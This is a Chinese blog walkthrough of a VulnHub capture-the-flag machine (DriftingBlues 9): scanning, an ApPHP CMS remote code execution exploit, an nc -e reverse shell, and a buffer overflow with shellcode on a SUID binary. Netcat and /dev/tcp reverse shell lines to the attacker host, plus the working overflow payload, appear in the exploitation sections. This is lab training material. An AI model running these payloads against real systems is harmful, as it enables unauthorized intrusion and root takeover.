当前位置: 首页 > news >正文

vulnhub靶场【DriftingBlues】之9 final

前言

靶机:DriftingBlues-6,IP地址192.168.1.66

攻击:kali,IP地址192.168.1.16

都采用虚拟机,网卡为桥接模式

主机发现

使用arp-scan -lnetdiscover -r 192.168.1.1/24

在这里插入图片描述

信息收集

使用nmap扫描端口

在这里插入图片描述

网站探测

访问80端口,这或许就是CMS

在这里插入图片描述

使用whatweb探测

whatweb http://192.168.1.66

在这里插入图片描述

使用gobuster、ffuf、dirsearch、dirb、dirbuster等工具进行目录爆破

gobuster dir -u http://192.168.1.66 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

在这里插入图片描述

访问README.txt,确定CMS及版本

在这里插入图片描述

漏洞寻找

访问一圈扫描到的目录,没发现有什么信息,使用searchsploit测试有无对应版本的历史漏洞

searchsploit apphp

在这里插入图片描述

有一个远程代码执行的py脚本,尝试使用该脚本进行测试,注意,这里需要的是python2的环境

locate 33070.py
cp /usr/share/exploitdb/exploits/php/webapps/33070.py ./ 
chmod +x 33070.pypython2 33070.py http://192.168.1.66/index.php

漏洞利用

该脚本首先会进行测试,如phpinfo信息等,用法

Usage: python 33070.py http://target/blog/index.php

执行脚本后发现测试出一个php文件中的信息,这个脚本直接通过浏览器访问,是没有任何信息,但是这里就可以发现

用户名clapton和密码yaraklitepe

在这里插入图片描述

测试命令是否能被执行,发现确实可以

在这里插入图片描述

靶机内信息收集

查看靶机内的用户

在这里插入图片描述

为了后续方便,还是获取一个终端为好,不过这里只是命令执行,所以需要进行反弹shell。

我这里是测试发现直接使用bash反弹不成功,然后使用的nc,当然反弹的方法很多,https://forum.ywhack.com/shell.php

#kali开启监听
nc -lvvp 9999#靶机把bash反弹
nc -e /bin/bash 192.168.1.16 9999

在这里插入图片描述

然后使用python获取一个终端,注意,这里是python2,因为之前使用命令测试安装的版本

dpkg -l | grep python
或者
compgen -c | grep python  //靶机没有这个命令

既然有用户clapton,与前面收集的连接数据库的一样了,测试是否一码多用,成功

在这里插入图片描述

返回其主目录查看,发现一个SUID的文件,剩下的两个,一个flag,一个内容说缓冲区溢出是这个方法

在这里插入图片描述

使用file知道是可执行文件,但是无法知道其内容,使用python开启简易的http,然后下载到kali

这里因为python是2.x版本,所以与3.x开启不一样

python -m SimpleHTTPServe 9999

使用strings也没发现调用命令等,不过发现一些信息,收集一下

在这里插入图片描述

缓冲区溢出提取

之前查看note时,提示缓冲区溢出,那么进行处理。

我这里之前因为打过哈利波特的一个靶场,涉及到缓冲区溢出,所以大概知道流程

首先需要关闭kali中的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo 0 > randomize_va_space

在这里插入图片描述

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择打开input,然后上传多个A进行测试,看是否存在溢出,这里生成300个A测试

打开input文件,然后把生成的字符写入

在这里插入图片描述

然后进行执行调试,发现最终提示溢出

在这里插入图片描述

可以看到EIPESP都是A,EIP是进行跳转执行指令地址的,ESP是指令寄存处

在这里插入图片描述

那么这时候测试其偏移量为多少,使用msf生成无规律的字符

msf-pattern_create -l 600

在这里插入图片描述

然后把这一串字符,复制,与上面一样,在打开文件时,写入

在这里插入图片描述

在这里插入图片描述

再使用msf查看这个字符所处的位置

msf-pattern_offset -l 600 -q 41376641

在这里插入图片描述

OK,确定偏移量为171,那么从172开始的四个字符就是EIP的地址,也是需要重点关注的,并且再测试确实后面跟着的就是ESP中的内容。

下面就是需要寻找到ESP的地址,方便在覆盖EIP时,确保地址是ESP的地址,这么就可以在ESP中写入反弹命令

不过,这里一直使用的图形化界面edb,也要使用gdb,毕竟有些时候条件有限,所以这个工具也要会用

这里可以在kali中继续测试,不过我这里为了省时间,在靶机内测试,因为靶机内可以使用gdb,并且如果在kali中处理,还有一些环境问题需要解决。

下面在靶机内使用gdb测试,因为已经知道偏移量等,这里直接获取ESP地址

gdb input
(gdb)r $(python -c 'print("A"*300)')
(gdb)x/s $esp

在这里插入图片描述

获取到地址0xbfae41b0,这时候就可以进行构造payload,因为这里是小端序字节,所以地址需要倒写\xb0\x41\xae\xbf

$(python -c 'print("A"*171+"\xb0\x41\xae\xbf"+"\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x36\x2f\x38\x38\x38\x38\x20\x30\x3e\x26\x31\x27")')

再次构造后,把上面的语句进行测试,可以看到确实是小端序吧,并且发现ESP地址改变,说明靶机内的alsr是开启的,地址就会动态变化

在这里插入图片描述

那就不可能一次就中,说明这里可能需要多次,那么就写一个循环,注意,这里是一行,也就是可以直接输入,如要多行,可能需要用到EOF等

但是这里的脚本还是不行,测试发现使用msfvenom生成的是反弹shell,并非是其缓冲区溢出,这个个人不是很熟悉,所以借取网上的wp,代码这样的,不过这段代码我是不理解其含义,后续再学习\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80

结合前面的,把循环加上就是这样的构造,这里的ESP地址改变,是因为测试几遍后重新获取的

for i in {1..10000}; do (./input $(python -c 'print("A"*171+"\x70\x3f\xf8\xbf"+"\x90"*32+ "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

直接在终端运行,等待一会,提取成功

在这里插入图片描述

总结

  1. 考察对于一些CMS的历史漏洞寻找并利用
  2. 考察对于缓冲区溢出的掌握,以及ESP、EIP,偏移量等
http://www.lryc.cn/news/506237.html

相关文章:

  • 有124个叶子节点的,完全二叉树最多有多少个节点
  • 从RNN到Transformer:生成式AI自回归模型的全面剖析
  • Java爬虫大冒险:如何征服1688商品搜索之巅
  • 基于Spring Boot的无可购物网站系统
  • 智能人家谱程序创意
  • Redis 7.x哨兵模式如何实现?基于Spring Boot 3.x版
  • 解决QTCreator在Debug时无法显示std::string类型的问题
  • leetcode 面试经典 150 题:无重复字符的最长子串
  • 0101多级nginx代理websocket配置-nginx-web服务器
  • 【前端】Jquery拍照,通过PHP将base64编码数据转换成PNG格式,并保存图像到本地
  • websocket再项目中的使用
  • ajax同步执行async:false无效的解决方法
  • 基于Qt的登陆界面设计
  • HarmonyOS 输入框组件:TextInput 和 TextArea 深度解析
  • 【Golang】 Go 语言中的 Struct、JSON 和 Map 互转:详细指南
  • Azure Function流式返回
  • 智能座舱进阶-应用框架层-Jetpack主要组件
  • GitLab分支管理策略和最佳实践
  • 【Unity】【VR开发】实现VR屏幕共享应用的几个重要插件和参考资料分享
  • 数据结构---------二叉树前序遍历中序遍历后序遍历
  • 浏览器引入elasticsearch-head插件
  • 【ELK】Filebeat采集Docker容器日志
  • 异步线程池与CountDownLatch
  • 在图像上显示掩码、框和点的通用函数
  • 基于Matlab的变压器仿真模型建模方法(11):三相三绕组换流变压器的建模仿真
  • 代码随想录算法训练营day46|动态规划part12
  • 【C语言】头文件
  • 蓝桥杯——竞赛省赛国赛题分享
  • 企业内训|阅读行业产品运营实战训练营-某运营商数字娱乐公司
  • 低空无人机产教融合技术详解